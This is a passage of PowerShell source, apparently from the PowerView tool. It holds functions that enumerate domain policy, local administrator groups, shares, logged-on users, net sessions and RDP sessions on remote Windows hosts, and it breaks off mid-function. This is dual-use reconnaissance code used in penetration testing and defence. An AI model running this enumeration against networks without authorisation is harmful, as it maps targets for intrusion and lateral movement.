6518 $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou
6519 $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
6520 $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
6521 $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
6522 $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep
6523 $GPOComputerAdmin
6524 }
6525 }
6526 }
6527 }
6528 }
6529}
6530
6531
6532function Get-DomainPolicy {
6533<#
6534 .SYNOPSIS
6535 Returns the default domain or DC policy for a given
6536 domain or domain controller.
6537 Thanks Sean Metacalf (@pyrotek3) for the idea and guidance.
6538 .PARAMETER Source
6539 Extract Domain or DC (domain controller) policies.
6540 .PARAMETER Domain
6541 The domain to query for default policies, defaults to the current domain.
6542 .PARAMETER DomainController
6543 Domain controller to reflect LDAP queries through.
6544 .PARAMETER ResolveSids
6545 Switch. Resolve Sids from a DC policy to object names.
6546 .PARAMETER UsePSDrive
6547 Switch. Mount any found policy files with temporary PSDrives.
6548 .EXAMPLE
6549 PS C:\> Get-DomainPolicy
6550 Returns the domain policy for the current domain.
6551 .EXAMPLE
6552 PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local
6553 Returns the policy for the MASTER.testlab.local domain controller.
6554#>
6555
6556 [CmdletBinding()]
6557 Param (
6558 [String]
6559 [ValidateSet("Domain","DC")]
6560 $Source ="Domain",
6561
6562 [String]
6563 $Domain,
6564
6565 [String]
6566 $DomainController,
6567
6568 [Switch]
6569 $ResolveSids,
6570
6571 [Switch]
6572 $UsePSDrive
6573 )
6574
6575 if($Source -eq "Domain") {
6576 # query the given domain for the default domain policy object
6577 $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}"
6578
6579 if($GPO) {
6580 # grab the GptTmpl.inf file and parse it
6581 $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
6582
6583 $ParseArgs = @{
6584 'GptTmplPath' = $GptTmplPath
6585 'UsePSDrive' = $UsePSDrive
6586 }
6587
6588 # parse the GptTmpl.inf
6589 Get-GptTmpl @ParseArgs
6590 }
6591
6592 }
6593 elseif($Source -eq "DC") {
6594 # query the given domain/dc for the default domain controller policy object
6595 $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}"
6596
6597 if($GPO) {
6598 # grab the GptTmpl.inf file and parse it
6599 $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
6600
6601 $ParseArgs = @{
6602 'GptTmplPath' = $GptTmplPath
6603 'UsePSDrive' = $UsePSDrive
6604 }
6605
6606 # parse the GptTmpl.inf
6607 Get-GptTmpl @ParseArgs | ForEach-Object {
6608 if($ResolveSids) {
6609 # if we're resolving sids in PrivilegeRights to names
6610 $Policy = New-Object PSObject
6611 $_.psobject.properties | ForEach-Object {
6612 if( $_.Name -eq 'PrivilegeRights') {
6613
6614 $PrivilegeRights = New-Object PSObject
6615 # for every nested SID member of PrivilegeRights, try to unpack everything and resolve the SIDs as appropriate
6616 $_.Value.psobject.properties | ForEach-Object {
6617
6618 $Sids = $_.Value | ForEach-Object {
6619 try {
6620 if($_ -isnot [System.Array]) {
6621 Convert-SidToName $_
6622 }
6623 else {
6624 $_ | ForEach-Object { Convert-SidToName $_ }
6625 }
6626 }
6627 catch {
6628 Write-Verbose "Error resolving SID : $_"
6629 }
6630 }
6631
6632 $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids
6633 }
6634
6635 $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights
6636 }
6637 else {
6638 $Policy | Add-Member Noteproperty $_.Name $_.Value
6639 }
6640 }
6641 $Policy
6642 }
6643 else { $_ }
6644 }
6645 }
6646 }
6647}
6648
6649
6650
6651########################################################
6652#
6653# Functions that enumerate a single host, either through
6654# WinNT, WMI, remote registry, or API calls
6655# (with PSReflect).
6656#
6657########################################################
6658
6659function Get-NetLocalGroup {
6660<#
6661 .SYNOPSIS
6662 Gets a list of all current users in a specified local group,
6663 or returns the names of all local groups with -ListGroups.
6664 .PARAMETER ComputerName
6665 The hostname or IP to query for local group users.
6666 .PARAMETER ComputerFile
6667 File of hostnames/IPs to query for local group users.
6668 .PARAMETER GroupName
6669 The local group name to query for users. If not given, it defaults to "Administrators"
6670 .PARAMETER ListGroups
6671 Switch. List all the local groups instead of their members.
6672 Old Get-NetLocalGroups functionality.
6673 .PARAMETER Recurse
6674 Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.
6675 .PARAMETER API
6676 Switch. Use API calls instead of the WinNT service provider. Less information,
6677 but the results are faster.
6678 .EXAMPLE
6679 PS C:\> Get-NetLocalGroup
6680 Returns the usernames that of members of localgroup "Administrators" on the local host.
6681 .EXAMPLE
6682 PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP
6683 Returns all the local administrator accounts for WINDOWSXP
6684 .EXAMPLE
6685 PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse
6686 Returns all effective local/domain users/groups that can access WINDOWS7 with
6687 local administrative privileges.
6688 .EXAMPLE
6689 PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups
6690 Returns all local groups on the WINDOWS7 host.
6691 .EXAMPLE
6692 PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API
6693 Returns all local groups on the the passed hosts using API calls instead of the
6694 WinNT service provider.
6695 .LINK
6696 http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
6697 http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
6698#>
6699
6700 [CmdletBinding(DefaultParameterSetName = 'WinNT')]
6701 param(
6702 [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)]
6703 [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]
6704 [Alias('HostName')]
6705 [String[]]
6706 $ComputerName = $Env:ComputerName,
6707
6708 [Parameter(ParameterSetName = 'WinNT')]
6709 [Parameter(ParameterSetName = 'API')]
6710 [ValidateScript({Test-Path -Path $_ })]
6711 [Alias('HostList')]
6712 [String]
6713 $ComputerFile,
6714
6715 [Parameter(ParameterSetName = 'WinNT')]
6716 [Parameter(ParameterSetName = 'API')]
6717 [String]
6718 $GroupName = 'Administrators',
6719
6720 [Parameter(ParameterSetName = 'WinNT')]
6721 [Switch]
6722 $ListGroups,
6723
6724 [Parameter(ParameterSetName = 'WinNT')]
6725 [Switch]
6726 $Recurse,
6727
6728 [Parameter(ParameterSetName = 'API')]
6729 [Switch]
6730 $API
6731 )
6732
6733 process {
6734
6735 $Servers = @()
6736
6737 # if we have a host list passed, grab it
6738 if($ComputerFile) {
6739 $Servers = Get-Content -Path $ComputerFile
6740 }
6741 else {
6742 # otherwise assume a single host name
6743 $Servers += $ComputerName | Get-NameField
6744 }
6745
6746 # query the specified group using the WINNT provider, and
6747 # extract fields as appropriate from the results
6748 ForEach($Server in $Servers) {
6749
6750 if($API) {
6751 # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information
6752 # arguments for NetLocalGroupGetMembers
6753 $QueryLevel = 2
6754 $PtrInfo = [IntPtr]::Zero
6755 $EntriesRead = 0
6756 $TotalRead = 0
6757 $ResumeHandle = 0
6758
6759 # get the local user information
6760 $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
6761
6762 # Locate the offset of the initial intPtr
6763 $Offset = $PtrInfo.ToInt64()
6764
6765 $LocalUsers = @()
6766
6767 # 0 = success
6768 if (($Result -eq 0) -and ($Offset -gt 0)) {
6769
6770 # Work out how much to increment the pointer by finding out the size of the structure
6771 $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()
6772
6773 # parse all the result structures
6774 for ($i = 0; ($i -lt $EntriesRead); $i++) {
6775 # create a new int ptr at the given offset and cast the pointer as our result structure
6776 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
6777 $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
6778
6779 $Offset = $NewIntPtr.ToInt64()
6780 $Offset += $Increment
6781
6782 $SidString = ""
6783 $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
6784
6785 if($Result2 -eq 0) {
6786 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
6787 }
6788 else {
6789 $LocalUser = New-Object PSObject
6790 $LocalUser | Add-Member Noteproperty 'ComputerName' $Server
6791 $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname
6792 $LocalUser | Add-Member Noteproperty 'SID' $SidString
6793
6794 $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
6795 $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup
6796 $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI')
6797
6798 $LocalUsers += $LocalUser
6799 }
6800 }
6801
6802 # free up the result buffer
6803 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
6804
6805 # try to extract out the machine SID by using the -500 account as a reference
6806 $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'}
6807 $Parts = $MachineSid.SID.Split('-')
6808 $MachineSid = $Parts[0..($Parts.Length -2)] -join '-'
6809
6810 $LocalUsers | ForEach-Object {
6811 if($_.SID -match $MachineSid) {
6812 $_ | Add-Member Noteproperty 'IsDomain' $False
6813 }
6814 else {
6815 $_ | Add-Member Noteproperty 'IsDomain' $True
6816 }
6817 }
6818 $LocalUsers
6819 }
6820 else {
6821 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
6822 }
6823 }
6824
6825 else {
6826 # otherwise we're using the WinNT service provider
6827 try {
6828 if($ListGroups) {
6829 # if we're listing the group names on a remote server
6830 $Computer = [ADSI]"WinNT://$Server,computer"
6831
6832 $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
6833 $Group = New-Object PSObject
6834 $Group | Add-Member Noteproperty 'Server' $Server
6835 $Group | Add-Member Noteproperty 'Group' ($_.name[0])
6836 $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value)
6837 $Group | Add-Member Noteproperty 'Description' ($_.Description[0])
6838 $Group.PSObject.TypeNames.Add('PowerView.LocalGroup')
6839 $Group
6840 }
6841 }
6842 else {
6843 # otherwise we're listing the group members
6844 $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members'))
6845
6846 $Members | ForEach-Object {
6847
6848 $Member = New-Object PSObject
6849 $Member | Add-Member Noteproperty 'ComputerName' $Server
6850
6851 $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '')
6852 $Class = $_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null)
6853
6854 # try to translate the NT4 domain to a FQDN if possible
6855 $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical'
6856 $IsGroup = $Class -eq "Group"
6857
6858 if($Name) {
6859 $FQDN = $Name.split("/")[0]
6860 $ObjName = $AdsPath.split("/")[-1]
6861 $Name = "$FQDN/$ObjName"
6862 $IsDomain = $True
6863 }
6864 else {
6865 $ObjName = $AdsPath.split("/")[-1]
6866 $Name = $AdsPath
6867 $IsDomain = $False
6868 }
6869
6870 $Member | Add-Member Noteproperty 'AccountName' $Name
6871 $Member | Add-Member Noteproperty 'IsDomain' $IsDomain
6872 $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
6873
6874 if($IsDomain) {
6875 # translate the binary sid to a string
6876 $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value)
6877 $Member | Add-Member Noteproperty 'Description' ""
6878 $Member | Add-Member Noteproperty 'Disabled' ""
6879
6880 if($IsGroup) {
6881 $Member | Add-Member Noteproperty 'LastLogin' ""
6882 }
6883 else {
6884 try {
6885 $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null))
6886 }
6887 catch {
6888 $Member | Add-Member Noteproperty 'LastLogin' ""
6889 }
6890 }
6891 $Member | Add-Member Noteproperty 'PwdLastSet' ""
6892 $Member | Add-Member Noteproperty 'PwdExpired' ""
6893 $Member | Add-Member Noteproperty 'UserFlags' ""
6894 }
6895 else {
6896 # repull this user object so we can ensure correct information
6897 $LocalUser = $([ADSI] "WinNT://$AdsPath")
6898
6899 # translate the binary sid to a string
6900 $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value)
6901 $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0])
6902
6903 if($IsGroup) {
6904 $Member | Add-Member Noteproperty 'PwdLastSet' ""
6905 $Member | Add-Member Noteproperty 'PwdExpired' ""
6906 $Member | Add-Member Noteproperty 'UserFlags' ""
6907 $Member | Add-Member Noteproperty 'Disabled' ""
6908 $Member | Add-Member Noteproperty 'LastLogin' ""
6909 }
6910 else {
6911 $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
6912 $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
6913 $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
6914 # UAC flags of 0x2 mean the account is disabled
6915 $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2)
6916 try {
6917 $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
6918 }
6919 catch {
6920 $Member | Add-Member Noteproperty 'LastLogin' ""
6921 }
6922 }
6923 }
6924 $Member.PSObject.TypeNames.Add('PowerView.LocalUser')
6925 $Member
6926
6927 # if the result is a group domain object and we're recursing,
6928 # try to resolve all the group member results
6929 if($Recurse -and $IsGroup) {
6930 if($IsDomain) {
6931 $FQDN = $Name.split("/")[0]
6932 $GroupName = $Name.split("/")[1].trim()
6933
6934 Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object {
6935
6936 $Member = New-Object PSObject
6937 $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)"
6938
6939 $MemberDN = $_.distinguishedName
6940 # extract the FQDN from the Distinguished Name
6941 $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
6942
6943 $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
6944
6945 if ($_.samAccountName) {
6946 # forest users have the samAccountName set
6947 $MemberName = $_.samAccountName
6948 }
6949 else {
6950 try {
6951 # external trust users have a SID, so convert it
6952 try {
6953 $MemberName = Convert-SidToName $_.cn
6954 }
6955 catch {
6956 # if there's a problem contacting the domain to resolve the SID
6957 $MemberName = $_.cn
6958 }
6959 }
6960 catch {
6961 Write-Debug "Error resolving SID : $_"
6962 }
6963 }
6964
6965 $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName"
6966 $Member | Add-Member Noteproperty 'SID' $_.objectsid
6967 $Member | Add-Member Noteproperty 'Description' $_.description
6968 $Member | Add-Member Noteproperty 'Disabled' $False
6969 $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
6970 $Member | Add-Member Noteproperty 'IsDomain' $True
6971 $Member | Add-Member Noteproperty 'LastLogin' ''
6972 $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet
6973 $Member | Add-Member Noteproperty 'PwdExpired' ''
6974 $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl
6975 $Member.PSObject.TypeNames.Add('PowerView.LocalUser')
6976 $Member
6977 }
6978 } else {
6979 Get-NetLocalGroup -ComputerName $Server -GroupName $ObjName -Recurse
6980 }
6981 }
6982 }
6983 }
6984 }
6985 catch {
6986 Write-Warning "[!] Error: $_"
6987 }
6988 }
6989 }
6990 }
6991}
6992
6993filter Get-NetShare {
6994<#
6995 .SYNOPSIS
6996 This function will execute the NetShareEnum Win32API call to query
6997 a given host for open shares. This is a replacement for
6998 "net share \\hostname"
6999 .PARAMETER ComputerName
7000 The hostname to query for shares. Also accepts IP addresses.
7001 .OUTPUTS
7002 SHARE_INFO_1 structure. A representation of the SHARE_INFO_1
7003 result structure which includes the name and note for each share,
7004 with the ComputerName added.
7005 .EXAMPLE
7006 PS C:\> Get-NetShare
7007 Returns active shares on the local host.
7008 .EXAMPLE
7009 PS C:\> Get-NetShare -ComputerName sqlserver
7010 Returns active shares on the 'sqlserver' host
7011 .EXAMPLE
7012 PS C:\> Get-NetComputer | Get-NetShare
7013 Returns all shares for all computers in the domain.
7014 .LINK
7015 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
7016#>
7017
7018 [CmdletBinding()]
7019 param(
7020 [Parameter(ValueFromPipeline=$True)]
7021 [Alias('HostName')]
7022 [Object[]]
7023 [ValidateNotNullOrEmpty()]
7024 $ComputerName = 'localhost'
7025 )
7026
7027 # extract the computer name from whatever object was passed on the pipeline
7028 $Computer = $ComputerName | Get-NameField
7029
7030 # arguments for NetShareEnum
7031 $QueryLevel = 1
7032 $PtrInfo = [IntPtr]::Zero
7033 $EntriesRead = 0
7034 $TotalRead = 0
7035 $ResumeHandle = 0
7036
7037 # get the share information
7038 $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
7039
7040 # Locate the offset of the initial intPtr
7041 $Offset = $PtrInfo.ToInt64()
7042
7043 # 0 = success
7044 if (($Result -eq 0) -and ($Offset -gt 0)) {
7045
7046 # Work out how much to increment the pointer by finding out the size of the structure
7047 $Increment = $SHARE_INFO_1::GetSize()
7048
7049 # parse all the result structures
7050 for ($i = 0; ($i -lt $EntriesRead); $i++) {
7051 # create a new int ptr at the given offset and cast the pointer as our result structure
7052 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
7053 $Info = $NewIntPtr -as $SHARE_INFO_1
7054
7055 # return all the sections of the structure
7056 $Shares = $Info | Select-Object *
7057 $Shares | Add-Member Noteproperty 'ComputerName' $Computer
7058 $Offset = $NewIntPtr.ToInt64()
7059 $Offset += $Increment
7060 $Shares
7061 }
7062
7063 # free up the result buffer
7064 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
7065 }
7066 else {
7067 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
7068 }
7069}
7070
7071
7072filter Get-NetLoggedon {
7073<#
7074 .SYNOPSIS
7075 This function will execute the NetWkstaUserEnum Win32API call to query
7076 a given host for actively logged on users.
7077 .PARAMETER ComputerName
7078 The hostname to query for logged on users.
7079 .OUTPUTS
7080 WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1
7081 result structure which includes the username and domain of logged on users,
7082 with the ComputerName added.
7083 .EXAMPLE
7084 PS C:\> Get-NetLoggedon
7085 Returns users actively logged onto the local host.
7086 .EXAMPLE
7087 PS C:\> Get-NetLoggedon -ComputerName sqlserver
7088 Returns users actively logged onto the 'sqlserver' host.
7089 .EXAMPLE
7090 PS C:\> Get-NetComputer | Get-NetLoggedon
7091 Returns all logged on userse for all computers in the domain.
7092 .LINK
7093 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
7094#>
7095
7096 [CmdletBinding()]
7097 param(
7098 [Parameter(ValueFromPipeline=$True)]
7099 [Alias('HostName')]
7100 [Object[]]
7101 [ValidateNotNullOrEmpty()]
7102 $ComputerName = 'localhost'
7103 )
7104
7105 # extract the computer name from whatever object was passed on the pipeline
7106 $Computer = $ComputerName | Get-NameField
7107
7108 # Declare the reference variables
7109 $QueryLevel = 1
7110 $PtrInfo = [IntPtr]::Zero
7111 $EntriesRead = 0
7112 $TotalRead = 0
7113 $ResumeHandle = 0
7114
7115 # get logged on user information
7116 $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
7117
7118 # Locate the offset of the initial intPtr
7119 $Offset = $PtrInfo.ToInt64()
7120
7121 # 0 = success
7122 if (($Result -eq 0) -and ($Offset -gt 0)) {
7123
7124 # Work out how much to increment the pointer by finding out the size of the structure
7125 $Increment = $WKSTA_USER_INFO_1::GetSize()
7126
7127 # parse all the result structures
7128 for ($i = 0; ($i -lt $EntriesRead); $i++) {
7129 # create a new int ptr at the given offset and cast the pointer as our result structure
7130 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
7131 $Info = $NewIntPtr -as $WKSTA_USER_INFO_1
7132
7133 # return all the sections of the structure
7134 $LoggedOn = $Info | Select-Object *
7135 $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
7136 $Offset = $NewIntPtr.ToInt64()
7137 $Offset += $Increment
7138 $LoggedOn
7139 }
7140
7141 # free up the result buffer
7142 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
7143 }
7144 else {
7145 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
7146 }
7147}
7148
7149
7150filter Get-NetSession {
7151<#
7152 .SYNOPSIS
7153 This function will execute the NetSessionEnum Win32API call to query
7154 a given host for active sessions on the host.
7155 Heavily adapted from dunedinite's post on stackoverflow (see LINK below)
7156 .PARAMETER ComputerName
7157 The ComputerName to query for active sessions.
7158 .PARAMETER UserName
7159 The user name to filter for active sessions.
7160 .OUTPUTS
7161 SESSION_INFO_10 structure. A representation of the SESSION_INFO_10
7162 result structure which includes the host and username associated
7163 with active sessions, with the ComputerName added.
7164 .EXAMPLE
7165 PS C:\> Get-NetSession
7166 Returns active sessions on the local host.
7167 .EXAMPLE
7168 PS C:\> Get-NetSession -ComputerName sqlserver
7169 Returns active sessions on the 'sqlserver' host.
7170 .EXAMPLE
7171 PS C:\> Get-NetDomainController | Get-NetSession
7172 Returns active sessions on all domain controllers.
7173 .LINK
7174 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
7175#>
7176
7177 [CmdletBinding()]
7178 param(
7179 [Parameter(ValueFromPipeline=$True)]
7180 [Alias('HostName')]
7181 [Object[]]
7182 [ValidateNotNullOrEmpty()]
7183 $ComputerName = 'localhost',
7184
7185 [String]
7186 $UserName = ''
7187 )
7188
7189 # extract the computer name from whatever object was passed on the pipeline
7190 $Computer = $ComputerName | Get-NameField
7191
7192 # arguments for NetSessionEnum
7193 $QueryLevel = 10
7194 $PtrInfo = [IntPtr]::Zero
7195 $EntriesRead = 0
7196 $TotalRead = 0
7197 $ResumeHandle = 0
7198
7199 # get session information
7200 $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
7201
7202 # Locate the offset of the initial intPtr
7203 $Offset = $PtrInfo.ToInt64()
7204
7205 # 0 = success
7206 if (($Result -eq 0) -and ($Offset -gt 0)) {
7207
7208 # Work out how much to increment the pointer by finding out the size of the structure
7209 $Increment = $SESSION_INFO_10::GetSize()
7210
7211 # parse all the result structures
7212 for ($i = 0; ($i -lt $EntriesRead); $i++) {
7213 # create a new int ptr at the given offset and cast the pointer as our result structure
7214 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
7215 $Info = $NewIntPtr -as $SESSION_INFO_10
7216
7217 # return all the sections of the structure
7218 $Sessions = $Info | Select-Object *
7219 $Sessions | Add-Member Noteproperty 'ComputerName' $Computer
7220 $Offset = $NewIntPtr.ToInt64()
7221 $Offset += $Increment
7222 $Sessions
7223 }
7224 # free up the result buffer
7225 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
7226 }
7227 else {
7228 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
7229 }
7230}
7231
7232
7233filter Get-LoggedOnLocal {
7234<#
7235 .SYNOPSIS
7236 This function will query the HKU registry values to retrieve the local
7237 logged on users SID and then attempt and reverse it.
7238 Adapted technique from Sysinternal's PSLoggedOn script. Benefit over
7239 using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges
7240 required (NetWkstaUserEnum requires remote admin access).
7241 Note: This function requires only domain user rights on the
7242 machine you're enumerating, but remote registry must be enabled.
7243 Function: Get-LoggedOnLocal
7244 Author: Matt Kelly, @BreakersAll
7245 .PARAMETER ComputerName
7246 The ComputerName to query for active sessions.
7247 .EXAMPLE
7248 PS C:\> Get-LoggedOnLocal
7249 Returns active sessions on the local host.
7250 .EXAMPLE
7251 PS C:\> Get-LoggedOnLocal -ComputerName sqlserver
7252 Returns active sessions on the 'sqlserver' host.
7253#>
7254
7255 [CmdletBinding()]
7256 param(
7257 [Parameter(ValueFromPipeline=$True)]
7258 [Alias('HostName')]
7259 [Object[]]
7260 [ValidateNotNullOrEmpty()]
7261 $ComputerName = 'localhost'
7262 )
7263
7264 # process multiple host object types from the pipeline
7265 $ComputerName = Get-NameField -Object $ComputerName
7266
7267 try {
7268 # retrieve HKU remote registry values
7269 $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName")
7270
7271 # sort out bogus sid's like _class
7272 $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {
7273 $UserName = Convert-SidToName $_
7274
7275 $Parts = $UserName.Split('\')
7276 $UserDomain = $Null
7277 $UserName = $Parts[-1]
7278 if ($Parts.Length -eq 2) {
7279 $UserDomain = $Parts[0]
7280 }
7281
7282 $LocalLoggedOnUser = New-Object PSObject
7283 $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName"
7284 $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain
7285 $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName
7286 $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_
7287 $LocalLoggedOnUser
7288 }
7289 }
7290 catch {
7291 Write-Verbose "Error opening remote registry on '$ComputerName'"
7292 }
7293}
7294
7295
7296filter Get-NetRDPSession {
7297<#
7298 .SYNOPSIS
7299 This function will execute the WTSEnumerateSessionsEx and
7300 WTSQuerySessionInformation Win32API calls to query a given
7301 RDP remote service for active sessions and originating IPs.
7302 This is a replacement for qwinsta.
7303 Note: only members of the Administrators or Account Operators local group
7304 can successfully execute this functionality on a remote target.
7305 .PARAMETER ComputerName
7306 The hostname to query for active RDP sessions.
7307 .EXAMPLE
7308 PS C:\> Get-NetRDPSession
7309 Returns active RDP/terminal sessions on the local host.
7310 .EXAMPLE
7311 PS C:\> Get-NetRDPSession -ComputerName "sqlserver"
7312 Returns active RDP/terminal sessions on the 'sqlserver' host.
7313 .EXAMPLE
7314 PS C:\> Get-NetDomainController | Get-NetRDPSession
7315 Returns active RDP/terminal sessions on all domain controllers.
7316#>
7317
7318 [CmdletBinding()]
7319 param(
7320 [Parameter(ValueFromPipeline=$True)]
7321 [Alias('HostName')]
7322 [Object[]]
7323 [ValidateNotNullOrEmpty()]
7324 $ComputerName = 'localhost'
7325 )
7326
7327 # extract the computer name from whatever object was passed on the pipeline
7328 $Computer = $ComputerName | Get-NameField
7329
7330 # open up a handle to the Remote Desktop Session host
7331 $Handle = $Wtsapi32::WTSOpenServerEx($Computer)
7332
7333 # if we get a non-zero handle back, everything was successful
7334 if ($Handle -ne 0) {
7335
7336 # arguments for WTSEnumerateSessionsEx
7337 $ppSessionInfo = [IntPtr]::Zero
7338 $pCount = 0
7339
7340 # get information on all current sessions
7341 $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
7342
7343 # Locate the offset of the initial intPtr
7344 $Offset = $ppSessionInfo.ToInt64()
7345
7346 if (($Result -ne 0) -and ($Offset -gt 0)) {
7347
7348 # Work out how much to increment the pointer by finding out the size of the structure
7349 $Increment = $WTS_SESSION_INFO_1::GetSize()
7350
7351 # parse all the result structures
7352 for ($i = 0; ($i -lt $pCount); $i++) {
7353
7354 # create a new int ptr at the given offset and cast the pointer as our result structure
7355 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
7356 $Info = $NewIntPtr -as $WTS_SESSION_INFO_1
7357
7358 $RDPSession = New-Object PSObject
7359
7360 if ($Info.pHostName) {
7361 $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName
7362 }
7363 else {
7364 # if no hostname returned, use the specified hostname
7365 $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer
7366 }
7367
7368 $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName
7369
7370 if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {
7371 # if a domain isn't returned just use the username
7372 $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"
7373 }
7374 else {
7375 $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)"
